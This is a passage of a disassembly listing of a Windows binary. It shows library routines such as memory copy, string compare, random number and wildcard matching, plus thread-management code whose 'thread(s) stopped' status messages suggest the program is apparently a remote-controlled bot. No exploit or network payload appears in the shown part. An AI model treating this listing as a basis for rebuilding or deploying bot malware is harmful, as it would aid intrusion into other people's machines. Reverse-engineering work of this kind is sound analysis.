loc_4151E4:				; CODE XREF: sub_4151DD+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4151ED
		inc	eax


loc_4151ED:				; CODE XREF: sub_4151DD+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_468A08
		jl	short loc_4151E4
		retn
sub_4151DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151FC	proc near		; CODE XREF: seg000:00411F42p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43F518


loc_415206:				; CODE XREF: sub_4151FC+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41521F
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_468A08
		jl	short loc_415206
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41521F:				; CODE XREF: sub_4151FC+10j
		mov	eax, edx
		pop	esi
		retn
sub_4151FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415223	proc near		; CODE XREF: seg000:0040DEB7p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41523C
		push	[ebp+arg_1C]
		call	sub_415A5F
		pop	ecx


loc_41523C:				; CODE XREF: sub_415223+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_415190
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415268
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4154E9
		add	esp, 14h
		jmp	short loc_415282
; ---------------------------------------------------------------------------


loc_415268:				; CODE XREF: sub_415223+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4154E9
		add	esp, 10h


loc_415282:				; CODE XREF: sub_415223+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4152A2
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_4152A2:				; CODE XREF: sub_415223+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		leave
		retn
sub_415223	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152B1	proc near		; CODE XREF: start+A2p
					; seg000:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_43F52C[eax], ecx
		mov	ds:dword_43F518[eax], ecx
		mov	ds:dword_43F51C[eax], ecx
		mov	ds:dword_43F520[eax], ecx
		mov	ds:dword_43F524[eax], ecx
		mov	ds:dword_43F528[eax], ecx
		mov	byte ptr ds:dword_43F318[eax], cl
		mov	ds:byte_43F530[eax], cl
		retn
sub_4152B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152EE	proc near		; CODE XREF: seg000:00412A4Dp
					; sub_41541C+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4152F8:				; CODE XREF: sub_4152EE+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_415358
		cmp	eax, 1
		jnz	short loc_415358
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_415358
		cmp	cl, 2Ah
		jz	short loc_41533F
		cmp	cl, 3Fh
		jz	short loc_415322
		cmp	cl, 5Bh
		jz	short loc_415327
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_415322:				; CODE XREF: sub_4152EE+26j
		inc	[ebp+arg_4]
		jmp	short loc_415352
; ---------------------------------------------------------------------------


loc_415327:				; CODE XREF: sub_4152EE+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415384
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415352
; ---------------------------------------------------------------------------


loc_41533F:				; CODE XREF: sub_4152EE+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41541C
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_415352:				; CODE XREF: sub_4152EE+37j
					; sub_4152EE+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152F8
; ---------------------------------------------------------------------------


loc_415358:				; CODE XREF: sub_4152EE+Ej
					; sub_4152EE+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_415368
		cmp	eax, 1
		jnz	short loc_41537F
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_415358
; ---------------------------------------------------------------------------


loc_415368:				; CODE XREF: sub_4152EE+6Dj
		cmp	eax, 1
		jnz	short loc_41537F
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41537F
		cmp	byte ptr [esi],	0
		jnz	short loc_41537F
		push	1
		pop	eax
		jmp	short loc_415381
; ---------------------------------------------------------------------------


loc_41537F:				; CODE XREF: sub_4152EE+72j
					; sub_4152EE+7Dj ...
		xor	eax, eax


loc_415381:				; CODE XREF: sub_4152EE+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415384	proc near		; CODE XREF: sub_4152EE+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4153A5
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4153A5:				; CODE XREF: sub_415384+19j
		push	ebx
		push	esi


loc_4153A7:				; CODE XREF: sub_415384+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4153B5
		cmp	[ebp+var_4], eax
		jnz	short loc_415401


loc_4153B5:				; CODE XREF: sub_415384+2Aj
		test	edi, edi
		jnz	short loc_4153F6
		cmp	bl, 2Dh
		jnz	short loc_4153EA
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4153EA
		cmp	al, 5Dh
		jz	short loc_4153EA
		cmp	[ebp+var_4], edi
		jnz	short loc_4153EA
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4153F6
		cmp	bl, al
		jg	short loc_4153F6
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4153F6
; ---------------------------------------------------------------------------


loc_4153EA:				; CODE XREF: sub_415384+38j
					; sub_415384+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4153F6
		push	1
		pop	edi


loc_4153F6:				; CODE XREF: sub_415384+33j
					; sub_415384+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4153A7
; ---------------------------------------------------------------------------


loc_415401:				; CODE XREF: sub_415384+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_41540E
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_41540E:				; CODE XREF: sub_415384+82j
		cmp	edi, eax
		jnz	short loc_415417
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_415417:				; CODE XREF: sub_415384+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_415384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41541C	proc near		; CODE XREF: sub_4152EE+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_415438:				; CODE XREF: sub_41541C+3Aj
		cmp	[eax], bl
		jz	short loc_415458
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_41544D
		cmp	cl, 2Ah
		jnz	short loc_415458
		cmp	cl, 3Fh
		jnz	short loc_415450


loc_41544D:				; CODE XREF: sub_41541C+25j
		inc	eax
		mov	[edi], eax


loc_415450:				; CODE XREF: sub_41541C+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_415438
; ---------------------------------------------------------------------------


loc_415458:				; CODE XREF: sub_41541C+1Ej
					; sub_41541C+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_415463
		inc	dword ptr [esi]
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_415463:				; CODE XREF: sub_41541C+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_415484
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_415475
		xor	eax, eax
		jmp	short loc_4154E4
; ---------------------------------------------------------------------------


loc_415475:				; CODE XREF: sub_41541C+53j
		cmp	cl, bl
		jnz	short loc_415484
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_415484
		push	1
		pop	eax
		jmp	short loc_4154E4
; ---------------------------------------------------------------------------


loc_415484:				; CODE XREF: sub_41541C+4Dj
					; sub_41541C+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4152EE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4154CE


loc_415492:				; CODE XREF: sub_41541C+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_415496:				; CODE XREF: sub_41541C+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4154AE
		cmp	cl, 5Bh
		jz	short loc_4154AE
		cmp	dl, bl
		jz	short loc_4154AE
		inc	eax
		mov	[edi], eax
		jmp	short loc_415496
; ---------------------------------------------------------------------------


loc_4154AE:				; CODE XREF: sub_41541C+82j
					; sub_41541C+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4154C5
		push	eax
		push	dword ptr [esi]
		call	sub_4152EE
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4154CA
; ---------------------------------------------------------------------------


loc_4154C5:				; CODE XREF: sub_41541C+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4154CA:				; CODE XREF: sub_41541C+A7j
		cmp	eax, ebx
		jnz	short loc_415492


loc_4154CE:				; CODE XREF: sub_41541C+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4154E1
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4154E1
		mov	[ebp+var_4], 1


loc_4154E1:				; CODE XREF: sub_41541C+B6j
					; sub_41541C+BCj
		mov	eax, [ebp+var_4]


loc_4154E4:				; CODE XREF: sub_41541C+57j
					; sub_41541C+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41541C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154E9	proc near		; CODE XREF: start+61p
					; seg000:004013BAp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415529
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415536
; ---------------------------------------------------------------------------


loc_415529:				; CODE XREF: sub_4154E9+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_415536:				; CODE XREF: sub_4154E9+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4154E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41553B	proc near		; CODE XREF: start+2Ep
					; seg000:00401C1Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_437D10, eax
		retn
sub_41553B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415545	proc near		; CODE XREF: seg000:0040117Dp
					; seg000:004011F1p ...
		mov	eax, ds:dword_437D10
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_437D10, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415545	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415570	proc near		; CODE XREF: seg000:00401333p
					; seg000:0040194Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4155C3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4155B7
		neg	ecx
		and	ecx, 3
		jz	short loc_415599
		sub	edx, ecx


loc_415593:				; CODE XREF: sub_415570+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415593


loc_415599:				; CODE XREF: sub_415570+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4155B7
		rep stosd
		test	edx, edx
		jz	short loc_4155BD


loc_4155B7:				; CODE XREF: sub_415570+18j
					; sub_415570+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4155B7


loc_4155BD:				; CODE XREF: sub_415570+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4155C3:				; CODE XREF: sub_415570+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155D0	proc near		; CODE XREF: seg000:004012DFp
					; seg000:004012F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4155F0
		cmp	edi, eax
		jb	loc_415768


loc_4155F0:				; CODE XREF: sub_4155D0+16j
		test	edi, 3
		jnz	short loc_41560C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	ds:off_415718[edx*4]
; ---------------------------------------------------------------------------


loc_41560C:				; CODE XREF: sub_4155D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415624
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41562C+4[eax*4]
; ---------------------------------------------------------------------------


loc_415624:				; CODE XREF: sub_4155D0+46j
		jmp	dword ptr ds:loc_415728[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41562C:				; CODE XREF: sub_4155D0+31j
					; sub_4155D0+8Ej ...
		jmp	ds:off_4156AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415640
		dd offset loc_41566C
		dd offset loc_415690
; ---------------------------------------------------------------------------


loc_415640:				; DATA XREF: sub_4155D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	ds:off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41566C:				; DATA XREF: sub_4155D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	ds:off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415690:				; DATA XREF: sub_4155D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	ds:off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156AC	dd offset loc_41570F	; DATA XREF: sub_4155D0:loc_41562Cr
		dd offset loc_4156FC
		dd offset loc_4156F4
		dd offset loc_4156EC
		dd offset loc_4156E4
		dd offset loc_4156DC
		dd offset loc_4156D4
		dd offset loc_4156CC
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4156D4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4156DC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4156E4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4156EC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4156F4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4156FC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41570F:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0:off_4156ACo
		jmp	ds:off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415718	dd offset loc_415728	; DATA XREF: sub_4155D0+35r
					; sub_4155D0+92r ...
		dd offset loc_415730
		dd offset loc_41573C
		dd offset loc_415750
; ---------------------------------------------------------------------------


loc_415728:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415730:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41573C:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415750:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415768:				; CODE XREF: sub_4155D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41579C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	ds:off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415790:				; CODE XREF: sub_4155D0+1B1j
					; sub_4155D0+208j ...
		neg	ecx
		jmp	ds:off_415860[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41579C:				; CODE XREF: sub_4155D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4157B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4157B4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4157B4:				; CODE XREF: sub_4155D0+1D6j
					; DATA XREF: sub_4155D0+1DDr
		jmp	ds:off_4158B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4157C7+1
		dd offset loc_4157E8
; ---------------------------------------------------------------------------
		adc	[eax+41h], bl


loc_4157C7:				; DATA XREF: sub_4155D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	ds:off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4157E8:				; DATA XREF: sub_4155D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	ds:off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415790
		std
		rep movsd
		cld
		jmp	ds:off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415864
		dd offset loc_41586C
		dd offset loc_415874
		dd offset loc_41587C
		dd offset loc_415884
		dd offset loc_41588C
		dd offset loc_415894
off_415860	dd offset loc_4158A7	; DATA XREF: sub_4155D0+1C2r
; ---------------------------------------------------------------------------


loc_415864:				; DATA XREF: sub_4155D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41586C:				; DATA XREF: sub_4155D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415874:				; DATA XREF: sub_4155D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41587C:				; DATA XREF: sub_4155D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_415884:				; DATA XREF: sub_4155D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41588C:				; DATA XREF: sub_4155D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_415894:				; DATA XREF: sub_4155D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4158A7:				; CODE XREF: sub_4155D0+1C2j
					; DATA XREF: sub_4155D0:off_415860o
		jmp	ds:off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4158B0	dd offset loc_4158C0	; DATA XREF: sub_4155D0+1B7r
					; sub_4155D0:loc_4157B4r ...
		dd offset loc_4158C8
		dd offset loc_4158D8
		dd offset loc_4158EC
; ---------------------------------------------------------------------------


loc_4158C0:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158C8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158D8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158EC:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4155D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: seg000:004011AEp
					; seg000:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41595C


loc_415920:				; CODE XREF: sub_415910+3Cj
					; sub_415910+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+3]
		jnz	short loc_415954
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415920
		mov	edi, edi


loc_415950:				; CODE XREF: sub_415910+18j
					; sub_415910+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415954:				; CODE XREF: sub_415910+14j
					; sub_415910+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41595C:				; CODE XREF: sub_415910+Ej
		test	edx, 1
		jz	short loc_415978
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415954
		inc	ecx
		or	al, al
		jz	short loc_415950
		test	edx, 2
		jz	short loc_415920


loc_415978:				; CODE XREF: sub_415910+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		add	ecx, 2
		jmp	short loc_415920
sub_415910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4159A0	proc near		; CODE XREF: seg000:00401250p
					; seg000:004019E5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4159B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4159B9:				; CODE XREF: sub_4159A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4159A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159D4	proc near		; CODE XREF: sub_415A5F+4p
					; sub_41E162+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4159DC:				; CODE XREF: sub_4159D4+34j
		cmp	ds:dword_437F6C, 1
		jle	short loc_4159F4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A03
; ---------------------------------------------------------------------------


loc_4159F4:				; CODE XREF: sub_4159D4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_437D60
		mov	al, [ecx+eax*2]
		and	eax, 8


